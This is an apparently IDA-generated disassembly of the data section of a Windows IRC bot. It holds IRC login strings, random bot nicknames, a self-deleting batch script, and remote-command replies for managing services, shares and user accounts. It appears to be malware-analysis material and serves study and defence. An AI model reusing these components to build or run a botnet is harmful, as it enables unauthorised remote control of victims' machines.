aFuck_0 db 'Fuck',0 ; DATA XREF: .data:00438BA0o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: .data:00438B94o
align 4
aF_3 db '^^^f^',0 ; DATA XREF: .data:00438B88o
align 10h
aSad db 'Sad',0 ; DATA XREF: .data:00438B84o
aLuvu db 'LUVU',0 ; DATA XREF: .data:00438B80o
align 4
a___0 db '_|_',0 ; DATA XREF: .data:00438B64o
aBbl db '|bbl',0 ; DATA XREF: .data:00438B58o
align 4
off_438CB8 dd offset loc_425240+2 ; DATA XREF: .data:00438B54o
aMuckc db 'muckc',0 ; DATA XREF: .data:00438B40o
align 4
aTruck db 'truck',0 ; DATA XREF: .data:00438B3Co
align 4
aTrimy db 'trimy',0 ; DATA XREF: .data:00438B38o
align 4
aLuvy db 'luvy',0 ; DATA XREF: .data:00438B34o
align 4
aUi db 'ui',0 ; DATA XREF: .data:00438B30o
align 10h
aSdf db 'sdf',0 ; DATA XREF: .data:00438B2Co
aRt db 'rt',0 ; DATA XREF: .data:00438B28o
align 4
aGf db 'gf',0 ; DATA XREF: .data:00438B24o
align 4
aTy db 'ty',0 ; DATA XREF: .data:00438B20o
align 10h
aRg db 'rg',0 ; DATA XREF: .data:00438B1Co
align 4
aHappy db 'happy',0 ; DATA XREF: .data:00438B18o
align 4
aRs db 'rs',0 ; DATA XREF: .data:00438AF8o
align 10h
aQ8A db '|q8|a',0 ; DATA XREF: .data:00438AB0o
align 4
aQ8 db 'Q8',0 ; DATA XREF: .data:00438AACo
align 4
aSick db 'sick}}',0 ; DATA XREF: .data:00438AA8o
align 4
aWiked db '|wiked|',0 ; DATA XREF: .data:00438AA4o
aLuvuF db '||luvu-f|',0 ; DATA XREF: .data:00438AA0o
align 4
aGens db '{gens|',0 ; DATA XREF: .data:00438A9Co
align 10h
aSex_0 db '{sex}',0 ; DATA XREF: .data:00438A98o
align 4
aHub db '{hub}',0 ; DATA XREF: .data:00438A94o
align 10h
aLuck db '|luck|',0 ; DATA XREF: .data:00438A90o
align 4
aSuck db '|suck|',0 ; DATA XREF: .data:00438A8Co
align 10h
aTot db '-|tot|',0 ; DATA XREF: .data:00438A88o
align 4
aWoh db '|woh|',0 ; DATA XREF: .data:00438A84o
align 10h
aTambe db '|tambe|',0 ; DATA XREF: .data:00438A80o
aLag db 'lag',0 ; DATA XREF: .data:00438A7Co
aBad db 'bad',0 ; DATA XREF: .data:00438A78o
aTree db 'tree',0 ; DATA XREF: .data:00438A74o
align 4
aZex db 'zex',0 ; DATA XREF: .data:00438A70o
aLez db 'lez',0 ; DATA XREF: .data:00438A6Co
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .data:00438A64o
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: .data:00438A60o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: .data:00438A5Co
align 10h
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .data:00438A58o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: .data:00438A54o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: .data:00438A50o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: .data:00438A4Co
align 10h
aRerpjj db 'RERPJJ',0 ; DATA XREF: .data:00438A48o
align 4
aCem39 db 'cem39',0 ; DATA XREF: .data:00438A44o
align 10h
aCool30m db 'cool30m',0 ; DATA XREF: .data:00438A40o
aTropikal db 'tropikal',0 ; DATA XREF: .data:00438A3Co
align 4
aPassenger db 'passenger',0 ; DATA XREF: .data:00438A38o
align 10h
aNeHaber db 'NE-HABER',0 ; DATA XREF: .data:00438A34o
align 4
aUla db 'ula',0 ; DATA XREF: .data:00438A30o
aIzmirlm db 'izmirlm',0 ; DATA XREF: .data:00438A2Co
aAkden db 'akden',0 ; DATA XREF: .data:00438A28o
align 10h
aKoray db 'KORAY',0 ; DATA XREF: .data:00438A24o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: .data:00438A20o
align 10h
aFirtina db 'firtina',0 ; DATA XREF: .data:00438A1Co
aAdamm33 db 'AdAMM33',0 ; DATA XREF: .data:00438A18o
aM41ist db 'M41IST',0 ; DATA XREF: .data:00438A14o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: .data:00438A10o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: .data:00438A0Co
align 4
aAnkm db 'ankM',0 ; DATA XREF: .data:00438A08o
align 4
aErkan db 'erkan',0 ; DATA XREF: .data:00438A04o
align 4
aDevre db 'devre',0 ; DATA XREF: .data:00438A00o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: .data:004389FCo
align 4
aBirsen db 'birsen',0 ; DATA XREF: .data:004389F8o
align 4
aA44m db 'a44m',0 ; DATA XREF: .data:004389F4o
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: .data:004389F0o
align 4
off_438E98 dd offset byte_4B5245 ; DATA XREF: .data:004389ECo
aSevda db 'sevda',0 ; DATA XREF: .data:004389E8o
align 4
aKotan db 'kotan',0 ; DATA XREF: .data:004389E4o
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: .data:004389E0o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: .data:004389DCo
align 10h
aKapk db 'kapk',0 ; DATA XREF: .data:004389D8o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: .data:004389D4o
align 4
aHayran db 'hayran',0 ; DATA XREF: .data:004389D0o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: .data:004389CCo
align 4
aAnkar db 'Ankar',0 ; DATA XREF: .data:004389C8o
align 10h
aDjspace db 'DJSPACE',0 ; DATA XREF: .data:004389C4o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: .data:004389C0o
align 4
aUmut db 'umut-',0 ; DATA XREF: .data:004389BCo
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: .data:004389B8o
align 4
aKumul db 'kumul',0 ; DATA XREF: .data:004389B4o
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: .data:004389B0o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .data:004389ACo
align 10h
aSeviseli db 'SeViSeLi',0 ; DATA XREF: .data:004389A8o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: .data:004389A4o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: .data:004389A0o
align 10h
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .data:0043899Co
align 10h
aMahinur db 'MAHINUR',0 ; DATA XREF: .data:00438998o
aHoly db 'holy',0 ; DATA XREF: .data:00438994o
align 10h
aFlord db 'FLoRD',0 ; DATA XREF: .data:00438990o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: .data:0043898Co
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .data:00438988o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: .data:00438984o
align 4
aEmre db 'Emre--',0 ; DATA XREF: .data:00438980o
align 10h
aRamtha db 'RAMTHA',0 ; DATA XREF: .data:0043897Co
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: .data:00438978o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: .data:00438974o
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: .data:00438970o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .data:0043896Co
aArda db 'arda',0 ; DATA XREF: .data:00438968o
align 4
aDevran db 'devran',0 ; DATA XREF: .data:00438964o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: .data:00438960o
aDenizlim db 'DenizliM',0 ; DATA XREF: .data:0043895Co
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: .data:00438958o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: .data:00438954o
align 10h
aBogac db 'bogac',0 ; DATA XREF: .data:00438950o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: .data:0043894Co
align 4
aAnkh db 'ankh',0 ; DATA XREF: .data:00438948o
align 4
off_43902C dd offset byte_457441 ; DATA XREF: .data:00438944o
aAyla db 'AYLA-',0 ; DATA XREF: .data:00438940o
align 4
aAlbina db 'albina',0 ; DATA XREF: .data:0043893Co
align 10h
aIzmir39m db 'Izmir39m',0 ; DATA XREF: .data:00438938o
align 4
aZack db 'ZACK',0 ; DATA XREF: .data:00438934o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: .data:00438930o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: .data:0043892Co
align 4
aAhmet db 'ahmet',0 ; DATA XREF: .data:00438928o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: .data:00438924o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: .data:00438920o
align 4
aRetg db 'RETG',0 ; DATA XREF: .data:0043891Co
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: .data:00438918o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: .data:00438914o
aAslii db 'aslii',0 ; DATA XREF: .data:00438910o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: .data:0043890Co
aHaticem db 'haticem',0 ; DATA XREF: .data:00438908o
aArzu db 'ARZU',0 ; DATA XREF: .data:00438904o
align 10h
aSudenur db 'SUDENUR',0 ; DATA XREF: .data:00438900o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: .data:004388FCo
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: .data:004388F8o
align 10h
aTekir db 'tekir',0 ; DATA XREF: .data:004388F4o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .data:004388F0o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: .data:004388ECo
align 4
aMelekk db 'melekk',0 ; DATA XREF: .data:004388E8o
align 4
aAkin db 'AKIN',0 ; DATA XREF: .data:004388E4o
align 4
aMary_0 db 'MARY',0 ; DATA XREF: .data:004388E0o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: .data:004388DCo
aTolga34 db 'Tolga34',0 ; DATA XREF: .data:004388D8o
aMisssunday db 'misssunday',0 ; DATA XREF: .data:004388D4o
align 10h
aIrmal db 'irmal',0 ; DATA XREF: .data:004388D0o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .data:004388CCo
align 4
aBerk19 db 'berk19',0 ; DATA XREF: .data:004388C8o
align 10h
aHexaaa db 'hexaaa',0 ; DATA XREF: .data:004388C4o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: .data:004388C0o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: .data:004388BCo
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: .data:004388B8o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .data:004388B4o
align 4
aKencing db 'Kencing',0 ; DATA XREF: .data:004388B0o
aReshma db 'reshma',0 ; DATA XREF: .data:004388ACo
align 4
aCamel db 'CAMEL',0 ; DATA XREF: .data:004388A8o
align 4
aGirl db 'GirL',0 ; DATA XREF: .data:004388A4o
align 4
aImra db 'imra',0 ; DATA XREF: .data:004388A0o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: .data:0043889Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: .data:00438898o
align 4
aKermit db 'kermit',0 ; DATA XREF: .data:00438894o
align 4
aManee db 'manee',0 ; DATA XREF: .data:00438890o
align 4
aTroller db 'troller',0 ; DATA XREF: .data:0043888Co
aLuisa db 'Luisa',0 ; DATA XREF: .data:00438888o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: .data:00438884o
align 10h
aRimpy db 'rimpy',0 ; DATA XREF: .data:00438880o
align 4
aJanno db 'janno',0 ; DATA XREF: .data:0043887Co
align 10h
aBunty db 'bunty',0 ; DATA XREF: .data:00438878o
align 4
aHeval db 'heval',0 ; DATA XREF: .data:00438874o
align 10h
aCme db 'cme',0 ; DATA XREF: .data:00438870o
aMarcy db 'marcy',0 ; DATA XREF: .data:0043886Co
align 4
aTalika db 'talika',0 ; DATA XREF: .data:00438868o
align 4
aShez db 'Shez',0 ; DATA XREF: .data:00438864o
align 4
aKen db 'ken',0 ; DATA XREF: .data:00438860o
aFlexster db 'flexster',0 ; DATA XREF: .data:0043885Co
align 4
aKoko db 'koko',0 ; DATA XREF: .data:00438858o
align 4
aMale db 'male',0 ; DATA XREF: .data:00438854o
align 4
aSwin db 'swin',0 ; DATA XREF: .data:00438850o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: .data:0043884Co
aKrizha db 'KRIZHA',0 ; DATA XREF: .data:00438848o
align 4
aEmilya db 'emilya',0 ; DATA XREF: .data:00438844o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .data:00438840o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: .data:0043883Co
aFarooq db 'farooq',0 ; DATA XREF: .data:00438838o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: .data:00438834o
align 4
aM_1: ; DATA XREF: .data:00438830o
; .data:00438B7Co
unicode 0, <M>,0
word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r
; .data:0043882Co
align 4
dword_43929C dd 42h ; DATA XREF: .data:00438828o
dword_4392A0 dd 56h ; DATA XREF: .data:00438824o
dword_4392A4 dd 43h ; DATA XREF: .data:00438820o
dword_4392A8 dd 58h ; DATA XREF: .data:0043881Co
; .data:00438BB0o
dword_4392AC dd 5Ah ; DATA XREF: .data:00438818o
dword_4392B0 dd 4Ch ; DATA XREF: .data:00438814o
dword_4392B4 dd 4Bh ; DATA XREF: .data:00438810o
dword_4392B8 dd 4Ah ; DATA XREF: .data:0043880Co
dword_4392BC dd 48h ; DATA XREF: .data:00438808o
dword_4392C0 dd 47h ; DATA XREF: .data:00438804o
dword_4392C4 dd 46h ; DATA XREF: .data:00438800o
; .data:00438B78o
dword_4392C8 dd 44h ; DATA XREF: .data:004387FCo
dword_4392CC dd 53h ; DATA XREF: .data:004387F8o
dword_4392D0 dd 50h ; DATA XREF: .data:004387F0o
dword_4392D4 dd 4Fh ; DATA XREF: .data:004387ECo
dword_4392D8 dd 55h ; DATA XREF: .data:004387E4o
word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r
; .data:004387E0o
align 10h
dword_4392E0 dd 54h ; DATA XREF: .data:004387DCo
dword_4392E4 dd 52h ; DATA XREF: .data:004387D8o
dword_4392E8 dd 45h ; DATA XREF: .data:004387D4o
dword_4392EC dd 57h ; DATA XREF: .data:004387D0o
dword_4392F0 dd 51h ; DATA XREF: .data:004387CCo
dword_4392F4 dd 62h ; DATA XREF: .data:004387C0o
; .data:00438AB4o ...
dword_4392F8 dd 78h ; DATA XREF: .data:004387B4o
; .data:00438B0Co
dword_4392FC dd 7Ah ; DATA XREF: .data:004387B0o
; .data:00438B14o ...
dword_439300 dd 6Ch ; DATA XREF: .data:004387ACo
; .data:00438AE0o
dword_439304 dd 68h ; DATA XREF: .data:004387A0o
; .data:00438ACCo
dword_439308 dd 67h ; DATA XREF: .data:0043879Co
; .data:00438AC8o ...
dword_43930C dd 66h ; DATA XREF: .data:00438798o
; .data:00438AC4o
dword_439310 dd 64h ; DATA XREF: .data:00438794o
; .data:00438ABCo
dword_439314 dd 79h ; DATA XREF: .data:0043877Co
; .data:00438B10o
dword_439318 dd 77h ; DATA XREF: .data:0043876Co
; .data:00438B08o
aNickS_1 db 'NICK %s',0Ah,0 ; DATA XREF: sub_417B76+B1o
align 4
a432 db '432',0 ; DATA XREF: sub_417B76+79o
aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_417B76+61o
align 4
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__1 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo
; sub_417E84+175r ...
align 4
dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o
dword_4393DC dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
; DATA XREF: sub_4182CD+118o
dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_4182CD+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o
align 4
unk_4394A4 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
dword_4394FC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_418A2E+5Co
dd 65726165h, 64h
off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r
; sub_418FE5+51r ...
; "Add"
off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr
; sub_418FE5+83r ...
; "Added"
dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 10h
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 8
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused_0 db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0043954Co
aStop_0 db 'Stop',0 ; DATA XREF: .data:00439548o
align 4
aStarted db 'Started',0 ; DATA XREF: .data:00439540o
aStart_0 db 'Start',0 ; DATA XREF: .data:0043953Co
align 4
aListed db 'Listed',0 ; DATA XREF: .data:00439534o
align 4
aList_1 db 'List',0 ; DATA XREF: .data:00439530o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .data:00439528o
aDelete_0 db 'Delete',0 ; DATA XREF: .data:00439524o
align 4
aAdded db 'Added',0 ; DATA XREF: .data:off_43951Co
align 4
aAdd db 'Add',0 ; DATA XREF: .data:off_439518o
unk_4395E0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 10h
unk_439630 db 2Dh ; - ; DATA XREF: sub_418C0E+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_418D2A:loc_418E34o
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_418D2A:loc_418E2Do
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_418D2A:loc_418E26o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_418D2A:loc_418E1Fo
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_418D2A:loc_418E11o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_418D2A:loc_418E0Ao
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_418D2A:loc_418E03o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_418D2A:loc_418DD8o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_418D2A:loc_418DD1o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_418D2A:loc_418DCAo
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_418D2A:loc_418DC3o
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_418D2A:loc_418D98o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_418D2A:loc_418D70o
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
align 4
aSSS_2 db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o
aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o
aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o
aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o
aPaused db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_418EA8+25o
align 4
unk_439B84 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
dword_439BA8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418FE5+8Ao
dd 73252720h, 27h
unk_439BC4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 10h
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o
unk_439C10 db 2Dh ; - ; DATA XREF: sub_4191DB+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_4191DB+26o
align 10h
unk_439C70 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
unk_439C98 db 2Dh ; - ; DATA XREF: sub_4192FC+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_439CC8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o
align 4
aUser_3 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
align 4
unk_439EA4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 10h
aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo
align 4
unk_439ED8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_4199AC:loc_419A90o
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_4199AC+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_4199AC:loc_4199FBo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
align 4
